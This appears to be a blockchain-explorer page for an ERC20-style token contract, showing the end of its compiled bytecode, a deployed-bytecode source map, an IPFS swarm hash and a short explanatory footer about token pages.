fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176108fd576108fd611fa9565b600082611ff357634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156108fd576108fd611fa9565b818103818111156108fd576108fd611fa9565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b8381101561206d5781516001600160a01b031687529582019590820190600101612048565b509495945050505050565b85815284602082015260a06040820152600061209760a0830186612034565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006120cd6040830184612034565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220060b7fae53b68fb53a52f1374ac1aa16c14069473c4c94f8ccf893d3465e12fb64736f6c63430008120033

Deployed Bytecode Sourcemap

11573:12760:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14950:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12170:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;731:32:1;;;713:51;;701:2;686:18;12170:81:0;567:203:1;16116:161:0;;;;;;;;;;-1:-1:-1;16116:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;16116:161:0;1231:187:1;11660:41:0;;;;;;;;;;-1:-1:-1;11660:41:0;;;;-1:-1:-1;;;;;11660:41:0;;;15227:100;;;;;;;;;;-1:-1:-1;15307:12:0;;15227:100;;;1803:25:1;;;1791:2;1776:18;15227:100:0;1657:177:1;13364:35:0;;;;;;;;;;;;;;;;17148:313;;;;;;;;;;-1:-1:-1;17148:313:0;;;;;:::i;:::-;;:::i;12082:81::-;;;;;;;;;;;;;;;16630:156;;;;;;;;;;;;;:::i;15136:83::-;;;;;;;;;;-1:-1:-1;15202:9:0;;15136:83;;15202:9;;;;2442:36:1;;2430:2;2415:18;15136:83:0;2300:184:1;15613:218:0;;;;;;;;;;-1:-1:-1;15613:218:0;;;;;:::i;:::-;;:::i;12477:45::-;;;;;;;;;;-1:-1:-1;12477:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13175:40;;;;;;;;;;-1:-1:-1;13175:40:0;;;;;;;;;;;12387:26;;;;;;;;;;-1:-1:-1;12387:26:0;;;;;;;;13498:36;;;;;;;;;;;;;;;;12420:50;;;;;;;;;;-1:-1:-1;12420:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11747:55;;;;;;;;;;-1:-1:-1;11747:55:0;;;;-1:-1:-1;;;;;11747:55:0;;;12861:66;;;;;;;;;;;;;;;;15335:119;;;;;;;;;;-1:-1:-1;15335:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;15428:18:0;15401:7;15428:18;;;:9;:18;;;;;;;15335:119;3252:230;;;;;;;;;;;;;:::i;:::-;;12792:61;;;;;;;;;;;;;;;;13011:33;;;;;;;;;;;;;;;;13127:41;;;;;;;;;;-1:-1:-1;13127:41:0;;;;;;;;;;;13412:36;;;;;;;;;;;;;;;;23571:84;;;;;;;;;;;;;:::i;12594:48::-;;;;;;;;;;-1:-1:-1;12594:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3027:79;;;;;;;;;;-1:-1:-1;3065:7:0;3092:6;-1:-1:-1;;;;;3092:6:0;3027:79;;11809:86;;;;;;;;;;-1:-1:-1;11809:86:0;;;;-1:-1:-1;;;;;11809:86:0;;;15041:87;;;;;;;;;;;;;:::i;24202:128::-;;;;;;;;;;;;;:::i;11902:32::-;;;;;;;;;;-1:-1:-1;11902:32:0;;;;-1:-1:-1;;;;;11902:32:0;;;22154:733;;;:::i;15839:269::-;;;;;;;;;;-1:-1:-1;15839:269:0;;;;;:::i;:::-;;:::i;12717:68::-;;;;;;;;;;;;;;;;11708:26;;;;;;;;;;-1:-1:-1;11708:26:0;;;;-1:-1:-1;;;;;11708:26:0;;;16973:167;;;;;;;;;;-1:-1:-1;16973:167:0;;;;;:::i;:::-;;:::i;13322:35::-;;;;;;;;;;;;;;;;13455:36;;;;;;;;;;;;;;;;12535:52;;;;;;;;;;-1:-1:-1;12535:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13222:45;;;;;;;;;;-1:-1:-1;13222:45:0;;;;;;;;;;;13280:35;;;;;;;;;;;;;;;;15462:143;;;;;;;;;;-1:-1:-1;15462:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;15570:18:0;;;15543:7;15570:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15462:143;12972:32;;;;;;;;;;;;;;;;3490:244;;;;;;;;;;-1:-1:-1;3490:244:0;;;;;:::i;:::-;;:::i;12938:27::-;;;;;;;;;;;;;;;;13085:35;;;;;;;;;;-1:-1:-1;13085:35:0;;;;;;;;;;;14950:83;14987:13;15020:5;15013:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14950:83;:::o;16116:161::-;16191:4;16208:39;1887:10;16231:7;16240:6;16208:8;:39::i;:::-;-1:-1:-1;16265:4:0;16116:161;;;;;:::o;17148:313::-;17246:4;17263:36;17273:6;17281:9;17292:6;17263:9;:36::i;:::-;-1:-1:-1;17310:121:0;17319:6;1887:10;17341:89;17379:6;17341:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17341:19:0;;;;;;:11;:19;;;;;;;;1887:10;17341:33;;;;;;;;;;:37;:89::i;:::-;17310:8;:121::i;:::-;-1:-1:-1;17449:4:0;17148:313;;;;;;:::o;16630:156::-;-1:-1:-1;;;;;16765:11:0;15428:18;16683:7;15428:18;;;:9;:18;;;;;;16710:68;;:40;16727:22;16737:11;-1:-1:-1;;;;;15428:18:0;15401:7;15428:18;;;:9;:18;;;;;;;15335:119;16727:22;16710:12;;;:16;:40::i;:::-;:44;;:68::i;:::-;16703:75;;16630:156;:::o;15613:218::-;1887:10;15701:4;15750:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15750:34:0;;;;;;;;;;15701:4;;15718:83;;15741:7;;15750:50;;15789:10;15750:38;:50::i;3252:230::-;3161:6;;-1:-1:-1;;;;;3161:6:0;1887:10;3161:22;3153:67;;;;-1:-1:-1;;;3153:67:0;;;;;;;:::i;:::-;;;;;;;;;3343:6:::1;::::0;;3322:81:::1;::::0;3359:42:::1;::::0;-1:-1:-1;;;;;3343:6:0;;::::1;::::0;3322:81:::1;::::0;::::1;3414:6;:60:::0;;-1:-1:-1;;;;;;3414:60:0::1;3431:42;3414:60;::::0;;3252:230::o;23571:84::-;3161:6;;-1:-1:-1;;;;;3161:6:0;1887:10;3161:22;3153:67;;;;-1:-1:-1;;;3153:67:0;;;;;;;:::i;:::-;23626:14:::1;:21:::0;;-1:-1:-1;;23626:21:0::1;23643:4;23626:21;::::0;;23571:84::o;15041:87::-;15080:13;15113:7;15106:14;;;;;:::i;24202:128::-;3161:6;;-1:-1:-1;;;;;3161:6:0;1887:10;3161:22;3153:67;;;;-1:-1:-1;;;3153:67:0;;;;;;;:::i;:::-;24268:12:::1;::::0;24253::::1;:27:::0;;;24291:16:::1;:31:::0;24202:128::o;22154:733::-;3161:6;;-1:-1:-1;;;;;3161:6:0;1887:10;3161:22;3153:67;;;;-1:-1:-1;;;3153:67:0;;;;;;;:::i;:::-;22211:35:::1;22268:42;22211:100;;22355:16;-1:-1:-1::0;;;;;22355:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22337:56:0::1;;22402:4;22409:16;-1:-1:-1::0;;;;;22409:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22337:96;::::0;-1:-1:-1;;;;;;22337:96:0::1;::::0;;;;;;-1:-1:-1;;;;;4590:15:1;;;22337:96:0::1;::::0;::::1;4572:34:1::0;4642:15;;4622:18;;;4615:43;4507:18;;22337:96:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22323:11;:110:::0;;-1:-1:-1;;;;;22323:110:0;;::::1;-1:-1:-1::0;;;;;;22323:110:0;;::::1;;::::0;;;22444:34;;;;::::1;::::0;;::::1;::::0;::::1;::::0;;22509:4:::1;22323:11;22489:26:::0;;;:11:::1;:26;::::0;;;;;;;:52;;;;;;;;;-1:-1:-1;;22489:66:0;;22581:11;;;::::1;22568:25:::0;;:12:::1;:25:::0;;;;;:32;;-1:-1:-1;;22568:32:0;;::::1;::::0;::::1;::::0;;;22631:11;;;::::1;22611:32:::0;;:19:::1;:32:::0;;;;;:39;;;::::1;::::0;::::1;::::0;;22677:11;;;::::1;22661:28:::0;;:15:::1;:28:::0;;;;;;:35;;;;::::1;::::0;::::1;::::0;;;22709:17:::1;:39:::0;;;;::::1;22737:10;22709:39;::::0;;;22759:15;;;::::1;::::0;:31:::1;::::0;22798:9:::1;::::0;22823:24:::1;22509:4:::0;-1:-1:-1;;;;;15428:18:0;15401:7;15428:18;;;:9;:18;;;;;;;15335:119;22823:24:::1;22848:1;22850::::0;22852:10:::1;22863:15;22759:120;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;22200:687;22154:733::o:0;15839:269::-;15932:4;15949:129;1887:10;15972:7;15981:96;16020:15;15981:96;;;;;;;;;;;;;;;;;1887:10;15981:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15981:34:0;;;;;;;;;;;;:38;:96::i;16973:167::-;17051:4;17068:42;1887:10;17092:9;17103:6;17068:9;:42::i;3490:244::-;3161:6;;-1:-1:-1;;;;;3161:6:0;1887:10;3161:22;3153:67;;;;-1:-1:-1;;;3153:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3579:22:0;::::1;3571:73;;;::::0;-1:-1:-1;;;3571:73:0;;5794:2:1;3571:73:0::1;::::0;::::1;5776:21:1::0;5833:2;5813:18;;;5806:30;5872:34;5852:18;;;5845:62;-1:-1:-1;;;5923:18:1;;;5916:36;5969:19;;3571:73:0::1;5592:402:1::0;3571:73:0::1;3681:6;::::0;;3660:38:::1;::::0;-1:-1:-1;;;;;3660:38:0;;::::1;::::0;3681:6;::::1;::::0;3660:38:::1;::::0;::::1;3709:6;:17:::0;;-1:-1:-1;;;;;;3709:17:0::1;-1:-1:-1::0;;;;;3709:17:0;;;::::1;::::0;;;::::1;::::0;;3490:244::o;761:250::-;819:7;843:1;848;843:6;839:47;;-1:-1:-1;873:1:0;866:8;;839:47;898:9;910:5;914:1;910;:5;:::i;:::-;898:17;-1:-1:-1;943:1:0;934:5;938:1;898:17;934:5;:::i;:::-;:10;926:56;;;;-1:-1:-1;;;926:56:0;;6728:2:1;926:56:0;;;6710:21:1;6767:2;6747:18;;;6740:30;6806:34;6786:18;;;6779:62;-1:-1:-1;;;6857:18:1;;;6850:31;6898:19;;926:56:0;6526:397:1;1019:132:0;1077:7;1104:39;1108:1;1111;1104:39;;;;;;;;;;;;;;;;;:3;:39::i;228:181::-;286:7;;318:5;322:1;318;:5;:::i;:::-;306:17;;347:1;342;:6;;334:46;;;;-1:-1:-1;;;334:46:0;;7260:2:1;334:46:0;;;7242:21:1;7299:2;7279:18;;;7272:30;7338:29;7318:18;;;7311:57;7385:18;;334:46:0;7058:351:1;16285:337:0;-1:-1:-1;;;;;16378:19:0;;16370:68;;;;-1:-1:-1;;;16370:68:0;;7616:2:1;16370:68:0;;;7598:21:1;7655:2;7635:18;;;7628:30;7694:34;7674:18;;;7667:62;-1:-1:-1;;;7745:18:1;;;7738:34;7789:19;;16370:68:0;7414:400:1;16370:68:0;-1:-1:-1;;;;;16457:21:0;;16449:68;;;;-1:-1:-1;;;16449:68:0;;8021:2:1;16449:68:0;;;8003:21:1;8060:2;8040:18;;;8033:30;8099:34;8079:18;;;8072:62;-1:-1:-1;;;8150:18:1;;;8143:32;8192:19;;16449:68:0;7819:398:1;16449:68:0;-1:-1:-1;;;;;16530:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16582:32;;1803:25:1;;;16582:32:0;;1776:18:1;16582:32:0;;;;;;;16285:337;;;:::o;17740:1934::-;17827:4;-1:-1:-1;;;;;17852:20:0;;17844:70;;;;-1:-1:-1;;;17844:70:0;;8424:2:1;17844:70:0;;;8406:21:1;8463:2;8443:18;;;8436:30;8502:34;8482:18;;;8475:62;-1:-1:-1;;;8553:18:1;;;8546:35;8598:19;;17844:70:0;8222:401:1;17844:70:0;-1:-1:-1;;;;;17933:23:0;;17925:71;;;;-1:-1:-1;;;17925:71:0;;8830:2:1;17925:71:0;;;8812:21:1;8869:2;8849:18;;;8842:30;8908:34;8888:18;;;8881:62;-1:-1:-1;;;8959:18:1;;;8952:33;9002:19;;17925:71:0;8628:399:1;17925:71:0;-1:-1:-1;;;;;18014:25:0;;;;;;:17;:25;;;;;;;;18013:26;:59;;;;-1:-1:-1;;;;;;18044:28:0;;;;;;:17;:28;;;;;;;;18043:29;18013:59;18009:138;;;18097:14;;;;18089:46;;;;-1:-1:-1;;;18089:46:0;;9234:2:1;18089:46:0;;;9216:21:1;9273:2;9253:18;;;9246:30;-1:-1:-1;;;9292:18:1;;;9285:49;9351:18;;18089:46:0;9032:343:1;18089:46:0;-1:-1:-1;;;;;18162:25:0;;;;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;18191:28:0;;;;;;:17;:28;;;;;;;;18162:57;18159:1508;;;18244:86;18259:6;18267:9;18278:6;18286:31;18299:6;18307:9;18286:12;:31::i;:::-;:43;;18323:6;18244:14;:86::i;18286:43::-;18319:1;18244:14;:86::i;:::-;18237:93;;;;18159:1508;-1:-1:-1;;;;;18370:23:0;;;;;;:15;:23;;;;;;;;18369:24;:55;;;;-1:-1:-1;;;;;;18398:26:0;;;;;;:15;:26;;;;;;;;18397:27;18369:55;:81;;;;-1:-1:-1;18428:22:0;;;;;;;18369:81;18366:196;;;18489:12;;18479:6;:22;;18471:75;;;;-1:-1:-1;;;18471:75:0;;9582:2:1;18471:75:0;;;9564:21:1;9621:2;9601:18;;;9594:30;9660:34;9640:18;;;9633:62;-1:-1:-1;;;9711:18:1;;;9704:38;9759:19;;18471:75:0;9380:404:1;18471:75:0;18627:4;18578:28;15428:18;;;:9;:18;;;;;;18703:20;;18679:44;;;;;;;18744;;-1:-1:-1;18772:16:0;;;;18771:17;18744:44;:69;;;;-1:-1:-1;;;;;;18793:20:0;;;;;;:12;:20;;;;;;;;18792:21;18744:69;:94;;;;-1:-1:-1;18817:21:0;;;;;;;18744:94;18740:302;;;18876:25;;;;;;;18873:94;;;18947:20;;18924:43;;18873:94;18986:36;19001:20;18986:14;:36::i;:::-;19078:53;;;;;;;;;;;-1:-1:-1;;;19078:53:0;;;;;;;;-1:-1:-1;;;;;19078:17:0;;-1:-1:-1;19078:17:0;;;:9;:17;;;;;;;;:53;;19100:6;;19078:21;:53::i;:::-;-1:-1:-1;;;;;19058:17:0;;;;;;:9;:17;;;;;;;;:73;;;;19171:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;19200:28:0;;;;;;:17;:28;;;;;;;;19171:57;19170:105;;19241:34;19249:6;19257:9;19268:6;19241:7;:34::i;:::-;19170:105;;;19232:6;19170:105;19295:16;;19148:127;;-1:-1:-1;19295:16:0;;;;;:51;;;;-1:-1:-1;;;;;;19316:30:0;;;;;;:19;:30;;;;;;;;19315:31;19295:51;19292:197;;;19416:16;;19375:37;19400:11;19375:20;19385:9;-1:-1:-1;;;;;15428:18:0;15401:7;15428:18;;;:9;:18;;;;;;;15335:119;19375:20;:24;;:37::i;:::-;:57;;19367:106;;;;-1:-1:-1;;;19367:106:0;;9991:2:1;19367:106:0;;;9973:21:1;10030:2;10010:18;;;10003:30;10069:34;10049:18;;;10042:62;-1:-1:-1;;;10120:18:1;;;10113:35;10165:19;;19367:106:0;9789:401:1;19367:106:0;-1:-1:-1;;;;;19528:20:0;;;;;;:9;:20;;;;;;:37;;19553:11;19528:24;:37::i;:::-;-1:-1:-1;;;;;19505:20:0;;;;;;;:9;:20;;;;;;;:60;;;;19587:40;;;;;;;;;;19615:11;1803:25:1;;1791:2;1776:18;;1657:177;19587:40:0;;;;;;;;19651:4;19644:11;;;;;;;561:192;647:7;683:12;675:6;;;;667:29;;;;-1:-1:-1;;;667:29:0;;;;;;;;:::i;:::-;-1:-1:-1;707:9:0;719:5;723:1;719;:5;:::i;:::-;707:17;561:192;-1:-1:-1;;;;;561:192:0:o;417:136::-;475:7;502:43;506:1;509;502:43;;;;;;;;;;;;;;;;;:3;:43::i;1159:278::-;1245:7;1280:12;1273:5;1265:28;;;;-1:-1:-1;;;1265:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1304:9:0;1316:5;1320:1;1316;:5;:::i;17469:263::-;17586:11;;17549:4;;-1:-1:-1;;;;;17573:24:0;;;17586:11;;17573:24;:65;;;;-1:-1:-1;17629:9:0;;-1:-1:-1;;;;;17619:19:0;;;17629:9;;17619:19;17573:65;:107;;;;-1:-1:-1;;;;;;17660:20:0;;;;17573:107;:151;;;;-1:-1:-1;;;;;;;17702:22:0;;;;17469:263;-1:-1:-1;17469:263:0:o;20302:382::-;20449:54;;;;;;;;;;;-1:-1:-1;;;20449:54:0;;;;;;;;-1:-1:-1;;;;;20449:17:0;;20412:4;20449:17;;;:9;:17;;;;;;;:54;;20471:7;;20449:21;:54::i;:::-;-1:-1:-1;;;;;20429:17:0;;;;;;;:9;:17;;;;;;:74;;;;20537:20;;;;;;;:32;;20562:6;20537:24;:32::i;:::-;-1:-1:-1;;;;;20514:20:0;;;;;;:9;:20;;;;;:55;;;;20575:12;;;20571:32;;20600:3;20589:8;:14;20571:32;20636:9;-1:-1:-1;;;;;20619:35:0;20628:6;-1:-1:-1;;;;;20619:35:0;;20647:6;20619:35;;;;1803:25:1;;1791:2;1776:18;;1657:177;20619:35:0;;;;;;;;-1:-1:-1;20672:4:0;20302:382;;;;;;:::o;20692:1450::-;13945:16;:23;;-1:-1:-1;;13945:23:0;13964:4;13945:23;;;20808:18:::1;::::0;20786:17:::1;::::0;13945:16;;20786:41:::1;::::0;:17;:21:::1;:41::i;:::-;20764:63;;20840:22;20865:39;20886:17;;20865:16;;:20;;:39;;;;:::i;:::-;20840:64;;20915:22;20940:39;20961:17;;20940:16;;:20;;:39;;;;:::i;:::-;20915:64:::0;-1:-1:-1;21078:18:0::1;21099:51;21148:1;21099:44;21131:11:::0;21099:44;:7;21111:14;21099:11:::1;:27::i;:::-;:31:::0;::::1;:44::i;:51::-;21078:72:::0;-1:-1:-1;21161:20:0::1;21184:23;:7:::0;21078:72;21184:11:::1;:23::i;:::-;21161:46:::0;-1:-1:-1;21246:21:0::1;21278:30;21161:46:::0;21278:16:::1;:30::i;:::-;21319:23;21346:41;:21;21372:14:::0;21346:25:::1;:41::i;:::-;21319:68:::0;-1:-1:-1;21400:19:0::1;21422:38;21438:21;:14:::0;21457:1:::1;21438:18;:21::i;:::-;21422:11:::0;;:15:::1;:38::i;:::-;21400:60:::0;-1:-1:-1;21473:26:0::1;21502:59;21559:1;21502:52;21400:60:::0;21502:52;:15;21522:14;21502:19:::1;:35::i;:59::-;21473:88;;21572:26;21601:66;21655:11;21601:49;21621:28;21640:8;;21621:14;:18;;:28;;;;:::i;:::-;21601:15:::0;;:19:::1;:49::i;:66::-;21572:95:::0;-1:-1:-1;21678:26:0::1;21707:63;21572:95:::0;21707:39:::1;:15:::0;21727:18;21707:19:::1;:39::i;:63::-;21678:92:::0;-1:-1:-1;21786:22:0;;21783:102:::1;;21833:10;::::0;21825:48:::1;::::0;-1:-1:-1;;;;;21833:10:0;;::::1;::::0;21825:48;::::1;;;::::0;21854:18;;21833:10:::1;21825:48:::0;21833:10;21825:48;21854:18;21833:10;21825:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;21783:102;21900:22:::0;;21897:101:::1;;21947:9;::::0;21939:47:::1;::::0;-1:-1:-1;;;;;21947:9:0;;::::1;::::0;21939:47;::::1;;;::::0;21967:18;;21947:9:::1;21939:47:::0;21947:9;21939:47;21967:18;21947:9;21939:47;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;21897:101;22043:1;22022:18;:22;:40;;;;;22061:1;22048:10;:14;22022:40;22019:116;;;22079:44;22092:10;22104:18;22079:12;:44::i;:::-;-1:-1:-1::0;;13991:16:0;:24;;-1:-1:-1;;13991:24:0;;;-1:-1:-1;;;;;;;;;;20692:1450:0:o;19682:612::-;-1:-1:-1;;;;;19833:20:0;;19768:7;19833:20;;;:12;:20;;;;;;19768:7;;19833:20;;19830:223;;;19882:38;19916:3;19882:29;19893:17;;19882:6;:10;;:29;;;;:::i;:38::-;19870:50;;19830:223;;;-1:-1:-1;;;;;19950:23:0;;;;;;:12;:23;;;;;;;;19947:106;;;20002:39;20037:3;20002:30;20013:18;;20002:6;:10;;:30;;;;:::i;:39::-;19990:51;;19947:106;20076:13;;20073:173;;20151:4;20133:24;;;;:9;:24;;;;;;:39;;20162:9;20133:28;:39::i;:::-;20124:4;20106:24;;;;:9;:24;;;;;;;:66;;;;20192:42;;-1:-1:-1;;;;;20192:42:0;;;;;;;20224:9;1803:25:1;;1791:2;1776:18;;1657:177;20192:42:0;;;;;;;;20073:173;20265:21;:6;20276:9;20265:10;:21::i;22895:666::-;23045:16;;;23059:1;23045:16;;;;;;;;23021:21;;23045:16;;;;;;;;;;-1:-1:-1;23045:16:0;23021:40;;23090:4;23072;23077:1;23072:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23072:23:0;;;:7;;;;;;;;;;:23;;;;23116:15;;:22;;;-1:-1:-1;;;23116:22:0;;;;:15;;;;;:20;;:22;;;;;23072:7;;23116:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23106:4;23111:1;23106:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23106:32:0;;;:7;;;;;;;;;:32;23183:15;;23151:62;;23168:4;;23183:15;23201:11;23151:8;:62::i;:::-;23252:15;;:240;;-1:-1:-1;;;23252:240:0;;-1:-1:-1;;;;;23252:15:0;;;;:66;;:240;;23333:11;;23252:15;;23403:4;;23430;;23466:15;;23252:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23518:35;23535:11;23548:4;23518:35;;;;;;;:::i;:::-;;;;;;;;22950:611;22895:666;:::o;23663:523::-;23843:15;;23811:62;;23828:4;;-1:-1:-1;;;;;23843:15:0;23861:11;23811:8;:62::i;:::-;23916:15;;24120:17;;23916:262;;-1:-1:-1;;;23916:262:0;;-1:-1:-1;;;;;23916:15:0;;;;:31;;23955:9;;23916:262;;23988:4;;24008:11;;23916:15;;;;24120:17;;24152:15;;23916:262;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;23663:523;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;775:131::-;-1:-1:-1;;;;;850:31:1;;840:42;;830:70;;896:1;893;886:12;830:70;775:131;:::o;911:315::-;979:6;987;1040:2;1028:9;1019:7;1015:23;1011:32;1008:52;;;1056:1;1053;1046:12;1008:52;1095:9;1082:23;1114:31;1139:5;1114:31;:::i;:::-;1164:5;1216:2;1201:18;;;;1188:32;;-1:-1:-1;;;911:315:1:o;1839:456::-;1916:6;1924;1932;1985:2;1973:9;1964:7;1960:23;1956:32;1953:52;;;2001:1;1998;1991:12;1953:52;2040:9;2027:23;2059:31;2084:5;2059:31;:::i;:::-;2109:5;-1:-1:-1;2166:2:1;2151:18;;2138:32;2179:33;2138:32;2179:33;:::i;:::-;1839:456;;2231:7;;-1:-1:-1;;;2285:2:1;2270:18;;;;2257:32;;1839:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2965:388::-;3033:6;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;3149:9;3136:23;3168:31;3193:5;3168:31;:::i;:::-;3218:5;-1:-1:-1;3275:2:1;3260:18;;3247:32;3288:33;3247:32;3288:33;:::i;:::-;3340:7;3330:17;;;2965:388;;;;;:::o;3358:380::-;3437:1;3433:12;;;;3480;;;3501:61;;3555:4;3547:6;3543:17;3533:27;;3501:61;3608:2;3600:6;3597:14;3577:18;3574:38;3571:161;;3654:10;3649:3;3645:20;3642:1;3635:31;3689:4;3686:1;3679:15;3717:4;3714:1;3707:15;3571:161;;3358:380;;;:::o;3743:356::-;3945:2;3927:21;;;3964:18;;;3957:30;4023:34;4018:2;4003:18;;3996:62;4090:2;4075:18;;3743:356::o;4104:251::-;4174:6;4227:2;4215:9;4206:7;4202:23;4198:32;4195:52;;;4243:1;4240;4233:12;4195:52;4275:9;4269:16;4294:31;4319:5;4294:31;:::i;4669:607::-;-1:-1:-1;;;;;5028:15:1;;;5010:34;;5075:2;5060:18;;5053:34;;;;5118:2;5103:18;;5096:34;;;;5161:2;5146:18;;5139:34;;;;5210:15;;;5204:3;5189:19;;5182:44;4990:3;5242:19;;5235:35;;;;4959:3;4944:19;;4669:607::o;5281:306::-;5369:6;5377;5385;5438:2;5426:9;5417:7;5413:23;5409:32;5406:52;;;5454:1;5451;5444:12;5406:52;5483:9;5477:16;5467:26;;5533:2;5522:9;5518:18;5512:25;5502:35;;5577:2;5566:9;5562:18;5556:25;5546:35;;5281:306;;;;;:::o;5999:127::-;6060:10;6055:3;6051:20;6048:1;6041:31;6091:4;6088:1;6081:15;6115:4;6112:1;6105:15;6131:168;6204:9;;;6235;;6252:15;;;6246:22;;6232:37;6222:71;;6273:18;;:::i;6304:217::-;6344:1;6370;6360:132;;6414:10;6409:3;6405:20;6402:1;6395:31;6449:4;6446:1;6439:15;6477:4;6474:1;6467:15;6360:132;-1:-1:-1;6506:9:1;;6304:217::o;6928:125::-;6993:9;;;7014:10;;;7011:36;;;7027:18;;:::i;10195:128::-;10262:9;;;10283:11;;;10280:37;;;10297:18;;:::i;10460:127::-;10521:10;10516:3;10512:20;10509:1;10502:31;10552:4;10549:1;10542:15;10576:4;10573:1;10566:15;10592:461;10645:3;10683:5;10677:12;10710:6;10705:3;10698:19;10736:4;10765:2;10760:3;10756:12;10749:19;;10802:2;10795:5;10791:14;10823:1;10833:195;10847:6;10844:1;10841:13;10833:195;;;10912:13;;-1:-1:-1;;;;;10908:39:1;10896:52;;10968:12;;;;11003:15;;;;10944:1;10862:9;10833:195;;;-1:-1:-1;11044:3:1;;10592:461;-1:-1:-1;;;;;10592:461:1:o;11058:582::-;11357:6;11346:9;11339:25;11400:6;11395:2;11384:9;11380:18;11373:34;11443:3;11438:2;11427:9;11423:18;11416:31;11320:4;11464:57;11516:3;11505:9;11501:19;11493:6;11464:57;:::i;:::-;-1:-1:-1;;;;;11557:32:1;;;;11552:2;11537:18;;11530:60;-1:-1:-1;11621:3:1;11606:19;11599:35;11456:65;11058:582;-1:-1:-1;;;11058:582:1:o;11645:332::-;11852:6;11841:9;11834:25;11895:2;11890;11879:9;11875:18;11868:30;11815:4;11915:56;11967:2;11956:9;11952:18;11944:6;11915:56;:::i;:::-;11907:64;11645:332;-1:-1:-1;;;;11645:332:1:o

Swarm Source

ipfs://060b7fae53b68fb53a52f1374ac1aa16c14069473c4c94f8ccf893d3465e12fb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.